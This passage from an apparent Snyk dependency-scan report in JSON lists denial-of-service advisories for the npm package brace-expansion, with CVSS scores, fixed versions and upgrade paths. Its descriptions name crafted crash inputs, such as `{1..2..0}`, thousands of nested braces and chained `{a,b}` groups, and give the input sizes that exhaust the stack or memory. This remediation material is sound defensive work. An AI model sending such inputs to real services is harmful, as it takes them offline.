"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
